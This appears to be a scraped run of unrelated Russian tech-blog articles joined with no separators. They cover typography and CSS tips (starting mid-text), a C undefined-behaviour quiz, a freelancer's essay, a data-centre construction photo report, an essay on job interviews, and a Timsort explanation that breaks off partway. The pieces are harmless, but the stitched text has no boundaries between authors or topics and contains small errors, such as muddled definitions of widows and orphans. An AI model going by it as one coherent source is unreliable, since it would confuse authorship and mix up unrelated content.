Размер наборной строки. Для глаза читателя, длинные или короткие строки утомительны. Длинные – разрушают ритм, так как читателю трудно найти следующую строку текста. Единственная ситуация, в которой приемлемы короткие строки – малое количество текста. Для наилучшей читабельности длина строки должна быть между 40 и 80 символами, включая пробелы. Для дизайна с одной колонки текста 65 символов – идеальны.
Простой способ вычислить длину строки – использовать метод Роберта Брингхарста (Robert Bringhurst’s), который умножает размер шрифта на 30. То есть, если размер шрифта 10px, умножая его на 30 получим 300px или, приблизительно, 65 символов в строке. Код будет выглядеть приблизительно как:
p {
font-size: 10px;
max-width: 300px;
}
Я использую px так как это значительно упрощает расчеты, но можно использовать и em.
2. Интерлиньяж
Интерлиньяж это пространство между строками текста в теле заметки и оно играет большую роль для читабельности. Правильное разделение строк, позволяет читателю проще следить за строкой и улучшает внешний вид текста. Интерлиньяж так же изменяет типографический цвет текста, который является плотностью или же тоном композиции.
На интерлиньяж влияет множество факторов: гарнитура, размер шрифта, его полнота, обстоятельства(?), длина строки, расстояние между словами и т.д. Чем длиннее строка, тем больше интерлиньяж. Чем больше размер шрифта, тем меньше интерлиньяж. Хорошее правило – устанавливать интерлиньяж на 2-5pt больше, чем размер шрифта, в зависимости от гарнитуры. Так что если шрифт 12pt, то для веб интерлиньяж должен быть в 15pt или 16pt.
Определение верного интерлиньяжа требует определенной ловкости, но ниже приведен пример того, на что должен быть похож ваш код:
body {
font-family: Helvetica, sans-serif;
font-size: 12px;
line-height: 16px;
}
3. Обработка кавычек
Обработка кавычек должна проводиться на полях текста. Если кавычки сливаются с текстом, то они разрывают левое поле и нарушают рифму блока текста. Обработка кавычек не нарушает выравнивания по левому краю и баланса и поэтому – улучшает читабельность.
Это легко достигается с помощью CSS, используя элемент blockquote:
blockquote {
text-indent: -0.8em;
font-size: 12px;
}
Отрицательный отступ будет зависеть от гарнитуры, размера шрифта и полей.
4. Вертикальный ритм
Сетка базовых линий это основа постоянного типографического ритма на странице. Он позволяет читателям легко следить за текстом, что в свою очередь увеличивает читабельность. Постоянный ритм в вертикальном пространстве удерживает текст на постоянной сетке так, что пропорции и баланс сохраняются неизменными по всей странице вне зависимости от размера шрифта, интерлиньяжа или длинны строки.
Для того что бы поддерживать вертикальный ритм с помощью CSS, нужно, что бы расстояние между элементами и межстрочное расстояние (интерлиньяж) был равен размеру сетки базовых линий. Допустим, вы используете 15px сетку базовых линий, подразумевая, что между каждой линией сетки 15px. Интерлиньяж будет 15px и расстояние между параграфами тоже будет 15px. Вот пример:
body {
font-family: Helvetica, sans-serif;
font-size: 12px;
line-height: 15px;
}
p {
margin-bottom: 15px;
}
Это позволяет каждому параграфу располагаться на сетке, сохраняя вертикальный ритм текста.
5. Верхние и нижние висячие строки
Верхняя висячая строка — строка текста или слово в конце параграфа. Нижняя висячая строка — слово или короткая строка текста в начале или конце колонки, которая отделена от всего остального текста. Верхние и нижние висячие строки образуют неуклюжие куски, прерывают взгляд читателя и влияют на читабельность. Этого можно избежать увеличив размер шрифта, интерлиньяж, длину строки, расстояние между словами и межбуквенное расстояние или вводя вручную разрывы строки.
К несчастью, нет простого способа предотвратить висячие строки с помощью CSS. Один из способов от них избавится был описан выше, еще один — jQWidon’t, плагин для jQuery, который размещает неразрывные пробелы между последними двумя словами элемента.
6. Выделение
Важно выделять слова не отвлекая читателя. Курсивное начертание часто рассматривается как идеальная форма выделения. Некоторые другие распространенные формы выделения: полужирное начертание, заглавные буквы, капитель, размер шрифта, цвет, подчеркивание или другая гарнитура. Не важно, какой вы воспользуетесь, постарайтесь использовать только одну. Такие комбинации как капитель – полужирное – курсивное начертание отвлекают и смотрятся неуклюже.
Вот несколько способов выделения с помощью CSS:
span {
font-style: italic;
}
h1 {
font-weight: bold;
}
h2 {
text-transform: uppercase;
}
b {
font-variant: small-caps;
}
Имейте в виду, что font-variant работает только в случае, если шрифт поддерживает капитель.
7. Масштаб
Всегда верстайте с учетом масштаба, традиционного ли масштаба разработанного в шестидесятых и с которым мы все знакомы, или тот, который придуман вами. Масштаб важен, так как создает типографическую иерархию, что улучшает читабельность, создает гармонию и улучшает когнитивную пригодность текста.
Пример типографического масштаба определенного в CSS:
h1 {
font-size: 48px;
}
h2 {
font-size: 36px;
}
h3 {
font-size: 24px;
}
h4 {
font-size: 21px;
}
h5 {
font-size: 18px;
}
h6 {
font-size: 16px;
}
p {
font-size: 14px;
}
8. Подчищаем рваные края
Когда создается блок текста с выравниванием по левому или правому краю, не забудьте подчистить рваные края (неровные строки) и сбалансировать текст без всяких неожиданных «дыр» или неуклюжих форм текстовых блоков. Рваные края могут отвлекать читателя. Хороший край «мягкий», равномерный, без слишком длинных, или слишком коротких строк. Нельзя контролировать это с помощью CSS, так что для получения хороших краев надо вносить в текст ручные правки.
Можно улучшить края с помощью переносов, но к сожалению CSS тут бессилен. Возможно, в «ближайшем» будущем CSS3 обеспечит некоторый контроль… Но несмотря на это – не все потеряно. Есть ряд решений на стороне сервера и на стороне клиента, которые осуществляют автоматическую расстановку переносов. Например phpHyphenator, Hyphenator или online генераторы.
Hyphenator.js это Javascript-библиотека которая осуществляет автоматическую расстановку переносов на стороне клиента.
Ресурсы для дальнейшего изучения
Вот список тематически связанных с проблемой статей и книг, которые помогут вам с деталями.
Об авторе
Антонио Карусон (Antonio Carusone) это графический дизайнер из Нью-Йорка и автор AisleOne, блога посвященного графическому дизайну и типографике, The Grid System, неуклонно расширяющегося ресурса о сеточной системе и части Thinking for a Living Network.
О переводчике
Перевод выполнил я Ворон или Silent Imp.
Я вольнонаемный верстальщик, программист.
И очень надеюсь, что кому то эта статья доставит удовольствие или даже принесет пользу.
Буду очень рад вашим отзывам.
Цель этой статьи — заставить всех, особенно программистов на Си, сказать «я не знаю Си».
Хочется показать, что тёмные углы в Си значительно ближе, чем кажется и даже тривиальные строки кода несут в себе undefined behavior.
Статья организована как набор вопросов. Ответы написаны белым. Все примеры — отдельные файлы исходного кода.
1.
int i;
int i = 10;
Q: Это корректный код? (Не возникнет ли ошибка, связанная с тем, что переменная определяется два раза? Напоминаю, это отдельный файл исходного кода, не на уровне функции или compound statement)
A: Да, это корректный код. Первая строка это предварительное объявление (tentative definition), которое становится объявлением после того, как компилятор обработал определение (вторую строку).
2.
extern void bar(void);
void foo(int *x)
{
int y = *x; /* (1) */
if(!x) /* (2) */
{
return; /* (3) */
}
bar();
return;
}
Q: Оказалось, что bar() вызывается даже тогда, когда x — нулевой указатель (и программа не завершается аварийно). Ошибка оптимизатора или всё корректно?
A: Да, всё корректно. Если x — нулевой указатель, то в строке (1) появляется undefined behavior, и тут уже никто ничего программисту не обязан: программа не обязана ни упасть в строке (1), ни сделать return в строке (2) если вдруг удалось выполнить строку (1). Если говорить о том, какими правилами руководствовался компилятор, то всё происходило так. После анализа строки (1) компилятор считает, что x не может быть нулевым указателем и удаляет (2) и (3) как недоступный код (dead code elimination). Переменная y удаляется как неиспользуемая и так как тип *x не квалифицирован volatile, то и чтение из памяти тоже удаляется.
Вот так неиспользуемая переменная убрала проверку на нулевой указатель.
3.
Была вот такая функция:
#define ZP_COUNT 10
void func_original(int *xp, int *yp, int *zp)
{
int i;
for(i = 0; i < ZP_COUNT; i++)
{
*zp++ = *xp + *yp;
}
}
Её захотели соптимизировать так:
void func_optimized(int *xp, int *yp, int *zp)
{
int tmp = *xp + *yp;
int i;
for(i = 0; i < ZP_COUNT; i++)
{
*zp++ = tmp;
}
}
Q: Можно ли вызвать исходную и оптимизированную функцию так, чтобы получились разные результаты в zp?
A: Можно, пусть yp == zp.
4.
double f(double x)
{
assert(x != 0.);
return 1. / x;
}
Q: Может ли эта функция вернуть inf (бесконечность)? Считать, что числа с плавающей запятой реализованы по IEEE 754 (подавляющее большинство машин). assert включен (NDEBUG не определён).
A: Да. Достаточно передать денормализованный x, например, 1e-309.
5.
int my_strlen(const char *x)
{
int res = 0;
while(*x)
{
res++;
x++;
}
return res;
}
Q: Приведённая выше функция должна возвращать длину null-terminated строки. Найдите ошибку.
A: Использование типа int для хранения размеров объектов является ошибочным: не гарантируется, что int сможет вместить размер любого объекта. Следует использовать size_t.
6.
#include <stdio.h>
#include <string.h>
int main()
{
const char *str = "hello";
size_t length = strlen(str);
size_t i;
for(i = length - 1; i >= 0; i--)
{
putchar(str[i]);
}
putchar('\n');
return 0;
}
Q: Цикл является вечным. Почему?
A: size_t — беззнаковый тип. Если i беззнаковое, то i >= 0 всегда выполняется.
7.
#include <stdio.h>
void f(int *i, long *l)
{
printf("1. v=%ld\n", *l); /* (1) */
*i = 11; /* (2) */
printf("2. v=%ld\n", *l); /* (3) */
}
int main()
{
long a = 10;
f((int *) &a, &a);
printf("3. v=%ld\n", a);
return 0;
}
Данную программу скомпилировали двумя разными компиляторами и запустили на little-endian машине. Получили два разных результата:
1. v=10 2. v=11 3. v=11
1. v=10 2. v=10 3. v=11
Q: Как объяснить второй результат?
A: В данной программе есть undefined behavior, а именно, нарушены правила строгого алиасинга (strict aliasing). В строке (2) изменяется int, поэтому можно считать что любой long не изменился. (Нельзя разыменовывать указатель, который алиасит другой указатель несовместимого типа.) Поэтому компилятор может передать в строке (3) тот же long, который был считан в процессе выполнения строки (1).
8.
#include <stdio.h>
int main()
{
int array[] = { 0, 1, 2 };
printf("%d %d %d\n", 10, (5, array[1, 2]), 10);
}
Q: Это корректный код? Если здесь нет undefined behavior, то что он выводит?
A: Да, тут использован оператор запятая. Сначала вычисляется левый аргумент запятой и отбрасывается, затем вычисляется правый аргумент и используется как значение всего оператора. Вывод: 10 2 10.
Обратите внимание, что символ запятой в вызове функции (например, f(a(), b())) не является оператором запятой и поэтому не гарантирует порядок вычислений: a(), b() могут быть вызваны в любом порядке.
9.
unsigned int add(unsigned int a, unsigned int b)
{
return a + b;
}
Q: Каков результат add(UINT_MAX, 1)?
A: Переполнение беззнаковых чисел определено, вычисляется по модулю 2^(CHAR_BIT * sizeof(unsigned int)). Результат 0.
10.
int add(int a, int b)
{
return a + b;
}
Q: Каков результат add(INT_MAX, 1)?
A: Переполнение знаковых чисел — undefined behavior.
11.
int neg(int a)
{
return -a;
}
Q: Возможен ли тут undefined behavior? Если да, то при каких аргументах?
A: neg(INT_MIN). Если ЭВМ представляет отрицательные числа в дополнительном коде (англ. twos complement, подавляющее большинство машин), то абслютное значение INT_MIN на единицу больше, чем абсолютное значение INT_MAX. В этом случае -INT_MIN вызывает знаковое переполнение — undefined behavior.
12.
int div(int a, int b)
{
assert(b != 0);
return a / b;
}
Q: Возможен ли тут undefined behavior? Если да, то при каких аргументах?
A: Если ЭВМ представляет отрицательные числа в дополнительном коде, то div(INT_MIN, -1) — см. предыдущий вопрос.
— Dmitri Gribenko <gribozavr@gmail.com>
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
По мотивам статьи dmalinovsky «Жизнь во фрилансе глазами программиста».
Сейчас очень много пишут о том, что ждёт web-разработчика, когда он уйдёт во фриланс. Пишут о том, как протянуть первое время без заказов, о том, как потом бороться с наплывом работы, а затем, как побороть собственную лень. Однако, я до сих пор не встречал статьи о том, что же даёт фриланс, когда ты решаешь прервать круговерть из заказов, предоплат, поиска новых клиентов, помощи старым клиентам и всего остального, что составляет жизнь простого фриласера.
Имею ли я право писать такую статью, пожалуй решать вам, хабрапользователи. В своё же оправдание скажу, что, после примерно года с хвостиком работы в качестве web-разработчика, я ушёл в свободное плавание на просторы web-рынка и проплавал без малого два с половиной года, без круга и спасательного жилета.
И так, что же побудило меня уйти в офисную жизнь web-разработчика или, как многие говорят, в работу на дядю.
Во-первых
Я устал. На каждые восемь часов за компьютером в день, от двух до четырёх часов уходит на общение с клиентами, и эти два-четыре часа стоят мне шести проведённых за коддингом.
Очень часто, устраивая себе выходной, мозг проедала маааленькая мыслишка, о том, что висит большааая куча работы. Это правильно, когда у фрилансера есть работа про запас, но это сильно мешает отдыхать. Очень.
Во-вторых
Я программист, web-мастер, я не плохо верстаю, владею чистым js на приличном уровне, легко вхожу в чужой код и умею массу других полезных для web-мастера дел, от рисования кнопок до проектирования крупных систем. Более того, я люблю это делать (хотя всем говорю, что мне моя работа не нравится… лукавлю я).
А ещё я умею показать клиенту, что я действительно умею делать всё выше описанное. Умею уловить суть его задачи и, помимо решения, предложить дополнения. Умею зацепить клиента. Ну и конечно назначить цену за свою работу и не стесняться эту цену спросить, если работа сделана. Но, в отличии от прямых обязанностей web-мастера, я терпеть не могу, нет ну просто терпеть не могу всё это делать. Работа с клиентом выпивает из меня все соки, наверное потому, что я к работе подхожу с душой, которая у меня падка на негатив, и если от работы с компьютером я получаю отличный заряд в эту самую душу, то клиент случается и наплевать туда может.
В последних
Наверное могли бы быть и «В третьих» и «В четвёртых» и так далее, но для меня, пожалуй, самым важным поводом было то, что я перерос фриланс. Все мы амбициозны и активны. Когда приходит время, мы просим прибавки к зарплате, новую должность, просим стимул, который бы показал нам, что мы профессионально выросли. Чтобы собственное мнение о личностном росте, было подкреплено внешними проявлениями.
В итоге, приходит мысль о том, что нужно что-то менять. Что угодно, лишь бы не стоять на месте. Во фрилансе мы в основном предоставлены сами себе, а человек существо социальное, таким образом, после определённого срока работы во фрилансе (да и в любой не коллективной работе), человек перестаёт расти над собой. Это плохо. Если вы перестали расти над собой, то объявления вроде такого: «Создам web-страничку во FrontPage, опыт работы 30 лет из своих 50», которые порой можно встретить на сайтах объявлений — это ваше будущее.
Самое интересное, всё это я понимаю уже сейчас, почти год спустя, как из фриланса я перебрался в офисное кресло. А всё потому, что фриланс это бег, гонка когда очень трудно поднять голову и оглядеться. И лишь теперь, отдышавшись от этой гонки я вижу, что это было несомненно полезно и архиважно для меня, как для личности, но по своей сути это была гонка с собственной тенью; то есть гонка, ради гонки,… работа, ради работы. Очень полезно, до тех пор, пока каждый новый проект — это новые знания. Но чем больше этих знаний, тем скучнее будет каждый новый проект.
Чем же мне так помогла эта гонка?
Естественно опыт. Разный. Опыт общения с клиентом, опыт разработки, опыт само-мотивации, опыт лени и ещё много-много другого опыта. Но это думаю и так всем понятно.
А что же ещё?
Самое главное — уверенность. Я не боюсь остаться без работы. То есть мне очень бы не хотелось потерять коллектив, в котором я работаю, и всё что связанно с ним, но меня совсем не пугает мысль — «я — безработный!». Просто потому, что я знаю, что делать. Я знаю где и как заработать на жизнь двух взрослых и двух маленьких людей, то есть на жизнь своей семьи.
Второе самое главное — я знаю сколько стоит мой труд. Не «столько получает среднестатистический web-разработчик» и не то, что «а вот мне обещали сделать это за двести», а то, что моё время стоит определённой, конкретной суммы денег, и эффективно использовать это время — это задача для работодателя. И меня совсем не напрягает, что работодатель продаёт моё время в разы дороже. Я бы так не смог, а он смог. Зато я могу продать своё время ему. И всем хорошо. Да.
Ну и не самое главное, но весьма полезное приобретение — это идеи. В ходе работы фрилансером, мы часто решаем задачи с нулевой точки, то есть, когда клиент приходит к нам и говорит свою идею, и уже вместе мы решаем, как её воплотить в жизнь. А иногда, мы просто их выслушиваем (идеи… или заказчиков?), а потом либо клиент отказывается от реализации, либо ещё какая то пакость происходит и мы имеем несколько часов своего потраченного времени и чужую идею. Со временем таких реализованных и мёртвых идей набирается достаточно, чтобы они стали жить своей жизнью в вашей голове. И они живут. Наверное женятся и разводятся, может даже любят друг друга, и как следствие рождают другие идеи — ваши. Это хорошо, когда у вас есть ваши личные идеи. Это просто замечательно.
Как мы все знаем, в жизни все процессы цикличны. Я думаю что это можно смело отнести и к работе web-разработчика. Мы работаем на дядю, потом фрилансим, потом снова работаем на дядю, но уже на другом уровне. Что бывает дальше — я пока не знаю, я на середине второго витка. Но у всех свои витки, кто-то снова будет фрилансить, кто-то сам станет дядей на которого работают, кто-то ещё продолжит догонять свою тень, и он её обязательно догонит, я знаю — я один раз уже догнал.
P.S. искренне прошу прощения, хотел написать небольшую заметку, но получилось как всегда.
Не умею я писать коротко, не наградила меня природа тем талантом, который краткость.
UPD: Перенёс во «Фриланс».
Гермозона у меня есть, осталось нашпиговать ее по последнему слову техники. Начнем с электричества.
Ведь куда датацентру без электричества?
Прямо в помещении столько электричества, конечно, нет. Но есть в трансформаторной. Прокладка кабеля за счет арендатора.
Итак, копаем канаву по всему заводу.
Привозим кабелюку, бронированную, чтобы ей в земле хорошо лежалось.
Реклама Чувашкабеля детектед
Закопали. Положили, тремя слоями сверху, каждые полметра, ленту с надписью «осторожно кабель».
А в гермозону привезли вентиляционные решетки, материалы для воздуховодов.
И водо — фреоно водов. А также накрыли пол, чтобы очень его не загадить
Начали прокладывать разные трубки загадочного назначения
Подсказываю, черные — фреон, серые — слив сконденсированной влаги, белые — забор воды в увлажнители.
Тут и пожарные подоспели, привезли балоны с хладоном. Хорошие такие огнетушители
И давай монтировать систему пожаротушения.
Между делом привезли рамы для кондиционеров.
А вот и сами кондиционеры приехали.
Кондиционеры, конечно, прицензионные, Emerson Liebert HPM, с выдувом холодного воздуха под фальшпол. Всего запланировано 60 серверных шкафов не более чем по 6 kW каждый (Больше охлаждать воздухом не получается). Итого на 360 kW вероятной чистой мощности у нас 9 кондиционеров по 56 кW холода каждый.
Тем временем, систему пожаротушения доделали
Поставили внешние блоки
Картинка, вполне, в духе стимпанка.
Поставили щиты управления вытяжкой — приточкой.
Привезли серверные шкафы и начали собирать. И приточку вытяжку тоже.
Собрали шкафы
Шкафы Knürr 42 юнита, 900мм глубиной 600мм шириной. Шкафы шириной 800 мм роскошны, но увы, у нас места на 800 мм не хватило.
А вот и электричество.
Встречайте. UPS
И электрические шкафы.
Упсы Emerson Liebert, как ни странно. На 160 kVa, это 128 kW, тоже включены по схеме N+1 и питают чистое до запуска дизеля. Должно хватить на 15 минут при полной нагрузке, но дизель стартует куда раньше.
Поставили упсы на рамы
Чтобы было не скучно, сделали, наконец, освещение.
Закатили кучу проводов.
И давай их подключать
Чтобы время взря не терять, прикатили циску
Сделали комутационный шкаф и по всем шкафам протащили оптику
Смотрим налево
электричество подключили.
Смотрим направо, чего то не хватает? Конечно, дизеля не хватает. Грустно без дизеля.
Дизель едет-едет и приехал
Знатная зверюга на 730 kVa. 6 горшков, 2 турбины. 2 глушителя. Именитой итальянской фирмы Сoelmo. А как ревет…
Ну все, пора запускать все системы
И снимать красивые фотографиии
Типа таких.
Или таких
Открыть сайт www.webdc.ru Звать инспектора минсвязи и покупать мебель в офис.
В общем, решение назревало давно, и вот, одним пасмурным Питерским утром, я сказал шефу, что, к сожалению, тут наши пути расходятся. Было составлено резюме, более или менее описан десятилетний опыт работы в области web-программирования, обдумана сумма оклада, немного выше средней по Питеру, но далеко не топовая (я пока ни разу не гуру), оплачены услуги по поднятию резюме в топ каждые четыре часа, установлена прога, записывающая все входящие звонки (чтоб ничего не забыть), и я сел ждать. Собственно, это был вечер пятницы, так что ждать пришлось аж до понедельника, но в понедельник начался ад.
Звонков было много, за следующую неделю я посетил 17 собеседований, по 3-4 в день, в четверг я уже перестал соглашаться на собеседования, а звонки все шли и шли.
Это не статья из серии, «смотрите как меня все хотят, я офигенен», я просто хочу сказать, что сейчас в России существует дефицит IT специалистов, и когда подходящий человек приходит к вам в компанию, важно не только то, насколько он понравится вам, но и то, насколько вы понравитесь ему, ибо мне кажется, что сейчас конкуренция существует скорее на вашей стороне, на стороне работодателей, чем на стороне программистов. Оговорюсь сразу, речь не пойдет о всяких Яндексах, ВКонтактах и Мэилру, там все ясно, речь идет о компаниях второго эшелона, предыдущей ступени.
Руководитель IT.
В разных компаниях должность называется по разному, но в итоге, имеется в виду, ведущий разработчик. Симпотные девушки из HR-отдела — это конечно здорово, но для меня, лицо компании — главный технический специалист. Обычно именно он отвечает за техническую часть собеседования. Отнеситесь серьезно к выбору этого человека. По нему я делаю вывод об уровне компании. Например, в одной компании, меня спросили насколько плотно я работал с код-инжектором? Мой вопросительный взгляд вызвал неодобрительное «хм...» и отсылку на строчку «CodeIgniter» в моем резюме. «Как же так, Володя, пишете же, что работали». Еще сейчас очень модный вопрос «Работали ли вы с MVC». Мне всегда хочется ответить «А вы вообще знаете что такое MVC?». Сложилось впечатление, что большинство, принимают этот паттерн за еще один фрэймворк. Тут всегда интересно посмотреть, будут ли уточняющие вопросы после моего короткого «Да», и если будут — большой плюс работодателю.
Почему это для меня так важно? Я еще молод, и я хочу развиваться на работе, ведь как не крути, а задачи, решаемые в компании, более или менее соответствуют уровню тим-лида, и эти задачи не должны быть ощутимо ниже моего уровня.
HR-менеджеры
Сколько же времени я потерял, из-за этих людей. Несколько раз я приходил на собеседования, и к своему удивлению, обнаруживал, что в компании вообще нет никаких проектов, связанных с моей специализацией. Причем по телефону меня уверяли в обратном. Хит сезона — спутать Java и JavaScript, так я попал на три собеседования к разработчикам мобильных приложений. Тут есть и моя вина, надо более подробно расспрашивать менеджеров, во время телефонных разговоров, но чаще всего, они просто не обладают достаточными знаниями, что бы ответить на мои технические вопросы, и разговор сводится к тому, что мое резюме им подходит, и у них бесплатное питание, в комнате отдыха, с настольным футболом. Возможно HR-менеджеры себя оправдывают в других специальностях, но в IT, все же, наймом специалистов должен заниматься знающий человек. Ну или, как минимум, HR-менеджер должен быть в тесном контакте с техническим специалистом.
Зарплата.
Ох, самая больная тема. Когда вы набираете мой номер, вы должны понимать, что сумма, указанная в резюме — это не предел моих мечтаний, это минимальный порог, при котором я соглашусь работать у вас. Мне очень понравилась фраза «Ну, на испытательный срок в три месяца, вы будете получать в полтора раза меньше, а после, постараемся подтянуть до...». Во первых, мне не улыбается бедствовать три месяца, во вторых, я не очень понимаю слово «постараемся»… Такое ощущение, что я пришел выпрашивать у них работу, мне некуда податься, и так и быть, они возьмут меня на работу, но ничего обещать не могут. Был вообще, очень странный случай, когда меня пригласили на собеседование в компанию, перечислив мне по телефону проекты, реализованные ими, которые действительно произвели на меня впечатление. В крутом бизнес-центре, меня усадили в очень удобное кресло, задавали много вопросов, уточняли ответы, и потом, как бы между прочим, сообщили, что у них сейчас небольшие проблемы, и ближайшую зарплату я получу только через три месяца. На мой удивленный взгляд, сказали, что ничего страшного, я могу пока взять кредит, что бы было на что жить в ближайшее время.
Тестовое задание.
Я всеми руками за тестовое задание. Ведь будущему работодателю как-то нужно определить мой уровень. Некоторым для этого хватает разговора на собеседовании, подробного рассказа о том, чем я занимался в прошлых компаниях, какие технологии использовал. Некоторые предлагают листочек с вопросами, на которые я должен письменно ответить. Некоторые высылают ТЗ перед собеседованием, или дают его в качестве домашнего задания после. Первый способ, конечно для меня самый удобный, рассказать о том, какие задачи решал, как решал, какие проблемы возникали. Это не так сложно, и занимает немного времени. Второй — самый сложный. Во первых, очень непривычно и неудобно писать код на листочке, во вторых, это очень походит на экзамен, к которым, наверное у каждого молодого человека стойкая неприязнь на уровне подсознания и в третьих, собеседование — это все-таки стресс, который несколько отвлекает от программирования. Ну и третий вариант, на мой взгляд, самый оптимальный. Он позволяет программисту решить ТЗ в спокойной, домашней обстановке, возможно за чашечкой чая-кофе, пользуясь привычными инструментами.
Правда тут важно не переборщить. Например одна компания, скинула мне ТЗ дня на два работы. Я понимаю, по моей реализации более или менее большой задачи, обо мне можно сказать многое, но поймите и вы, я целыми днями бегаю по собеседованиям, и у меня просто нет времени, засесть за комп на два дня. Большие ТЗ актуальны только в том случае, если вы та компания, в которой я очень хочу работать, и другие предложения не рассматриваю. Если бы мне пришло такое задание например из Google, я бы его, конечно, выполнил, но давайте на чистоту: Вы Google?
Кстати о Google. Было одно очень странное собеседование в небольшом рекламном агентстве, где мне не задали ни одного технического вопроса, зато дали список вопросов от Гугла. Причем, если у Гугла этот список разбит по должностям, мне дали все подряд. Надо сказать, что оттуда мне так и не перезвонили. Видимо не работать мне в Гугле :-(
Организация собеседования.
Если кто-либо из руководителей или HR-менеджеров читает эти строки — хочется к вам обратиться: пожалуйста, подходите к организации собеседований более серьезно. Учитывайте не только свои интересы, но и интересы соискателя.
Первое что очень раздражает — это квест под названием «Найди наш офис». Сейчас большинство офисов компаний находятся в бизнес-центрах. И если найти сам БЦ не проблема, на крайний случай у меня есть GPS в телефоне, то вот найти офис — довольно сложно: «Поднимитесь на эскалаторе на второй этаж, пройдите в левое крыло, дальше на лифте на четвертый этаж, там две двери — наша правая, идите до офиса 435, далее налево, пока не увидите красный телефон. Наберите на нем 163 и скажите что вам нужен ...». Если вас сложно найти в БЦ — не нужно рисовать карту сокровищ, просто спуститесь и встретьте.
Так же, очень модная сейчас практика — «серия интервью». Сначала интервью с HR, потом с прямым руководителем, потом с директором. И все это в разные дни. Часто даже в разные недели. И опять же, эта практика работает, если я задался целью попасть именно к вам в компанию. Но если я сейчас ищу работу, а вы не предлагаете ничего, что выделяет вас среди остальных вакансий — я не буду ждать. В одной компании я сначала встретился с HR-менеджером, потом через несколько дней, меня пригласили на встречу с руководителем отдела кадров. А еще через несколько с генеральным директором. От последней я уже отказался. Первые две встречи были совершенно одинаковыми, те же самые вопросы, соответственно те же самые ответы. Технической части не касались вообще. Подозреваю что третье интервью было бы таким же. Заметьте, три интервью, и ни одного с техническим специалистом.
Самое худшее, что может придти вам в голову — устроить групповое интервью. Три соискателя с одной стороны, один работодатель с другой. Это было одновременно и неловко и глупо. Походило на какое-то реалити шоу. Я уж не знаю, может это был такой психологический тест…
Вывод.
Дело в том, что программисты сейчас находятся на особом положении, мы можем выбирать. Это не везение (сколько раз я слышал такую фразу: «Повезло тебе, ты программист»), это результат упорного труда, когда большинство наших сверстников проводило ночи в клубах, мы сидели за книгами и клавами, когда большинство наших друзей, после работы смотрит Камеди под бутылочку пива — мы все еще сидим за книгами и клавами. Наша профессия требует полной отдачи, и вполне естественно, что мы можем сказать «нет» компании, которая не произвела на нас положительного впечатления. Хотите нанять опытного программиста, способного не просто решать задачи, но и делать это грамотно — подойдите к организации собеседования чуть более серьезно.
Timsort, в отличии от всяких там «пузырьков» и «вставок», штука относительно новая — изобретен был в 2002 году Тимом Петерсом (в честь него и назван). С тех пор он уже стал стандартным алгоритмом сортировки в Python, OpenJDK 7 и Android JDK 1.5. А чтобы понять почему — достаточно взглянуть на вот эту табличку из Википедии.
Среди, на первый взгляд, огромного выбора в таблице есть всего 7 адекватных алгоритмов (со сложностью O(n logn) в среднем и худшем случае), среди которых только 2 могут похвастаться стабильностью и сложностью O(n) в лучшем случае. Один из этих двух — это давно и хорошо всем известная «Сортировка с помощью двоичного дерева». А вот второй как-раз таки Timsort.
Алгоритм построен на той идее, что в реальном мире сортируемый массив данных часто содержат в себе упорядоченные (не важно, по возрастанию или по убыванию) подмассивы. Это и вправду часто так. На таких данных Timsort рвёт в клочья все остальные алгоритмы.
Сразу к сути
Не ждите тут каких-то сложных математических открытий. Дело в том, что на самом деле Timsort — это не полностью самостоятельный алгоритм, а гибрид, эффективная комбинация нескольких других алгоритмов, приправленная собственными идеями. Очень коротко суть алгоритма можно объяснить так:
- По специальному алгоритму разделяем входной массив на подмассивы.
- Сортируем каждый подмассив обычной сортировкой вставками.
- Собираем отсортированные подмассивы в единый массив с помощью модифицированной сортировки слиянием.
Дьявол, как всегда, скрывается в деталях, а именно в алгоритме из пункта 1 и модификации сортировки слиянием из пункта 3.
Алгоритм
Используемые понятия
- N — размер входного массива
- run — упорядоченный подмассив во входном массиве. Причём упорядоченный либо нестрого по возрастанию, либо строго по убыванию. Т.е или «a0 <= a1 <= a2 <= ...», либо «a0 > a1 > a2 > ...»
- minrun — как было сказано выше, на первом шаге алгоритма входной массив будет поделен на подмассивы. minrun — это минимальный размер такого подмассива. Это число рассчитывается по определённой логике из числа N.
Шаг 0. Вычисление minrun.
Число minrun определяется на основе N исходя из следующих принципов:
- Оно не должно быть слишком большим, поскольку к подмассиву размера minrun будет в дальнейшем применена сортировка вставками, а она эффективна только на небольших массивах
- Оно не должно быть слишком маленьким, поскольку чем меньше подмассив — тем больше итераций слияния подмассивов придётся выполнить на последнем шаге алгоритма.
- Хорошо бы, чтобы N \ minrun было степенью числа 2 (или близким к нему). Это требование обусловлено тем, что алгоритм слияния подмассивов наиболее эффективно работает на подмассивах примерно равного размера.
В этом месте автор алгоритма ссылается на собственные эксперименты, показавшие, что при minrun> 256 нарушается пункт 1, при minrun < 8 — пункт 2 и наиболее эффективно использовать значения из диапазона (32;65). Исключение — если N < 64, тогда minrun = N и timsort превращается в простую сортировку вставкой. В данный момент алгоритм расчёта minrun просто до безобразия: берём старшие 6 бит из N и добавляем единицу, если в оставшихся младших битах есть хотя бы один ненулевой. Примерный код выглядит так:
int GetMinrun(int n)
{
int r = 0; /* станет 1 если среди сдвинутых битов будет хотя бы 1 ненулевой */
while (n >= 64) {
r |= n & 1;
n >>= 1;
}
return n + r;
}
Шаг 1. Разбиение на подмассивы и их сортировка.
Итак, на данном этапе у нас есть входной массив, его размер N и вычисленное число minrun. Алгоритм работы этого шага:
- Ставим указатель текущего элемента в начало входного массива.
- Начиная с текущего элемента, ищем во входном массиве run (упорядоченный подмассив). По определению, в этот run однозначно войдет текущий элемент и следующий за ним, а вот дальше — уже как повезет. Если получившийся подмассив упорядочен по убыванию — переставляем элементы так, чтобы они шли по возрастанию (это простой линейный алгоритм, просто идём с обоих концов к середине, меняя элементы местами).
- Если размер текущего run'а меньше чем minrun — берём следующие за найденным run-ом элементы в количестве minrun — size(run). Таким образом, на выходе у нас получается подмассив размером minrun или больше, часть которого (а в идеале — он весь) упорядочена.
- Применяем к данному подмассиву сортировку вставками. Так как размер подмассива невелик и часть его уже упорядочена — сортировка работает быстро и эффективно.
- Ставим указатель текущего элемента на следующий за подмассивом элемент.
- Если конец входного массива не достигнут — переход к пункту 2, иначе — конец данного шага.
Шаг 2. Слияние.
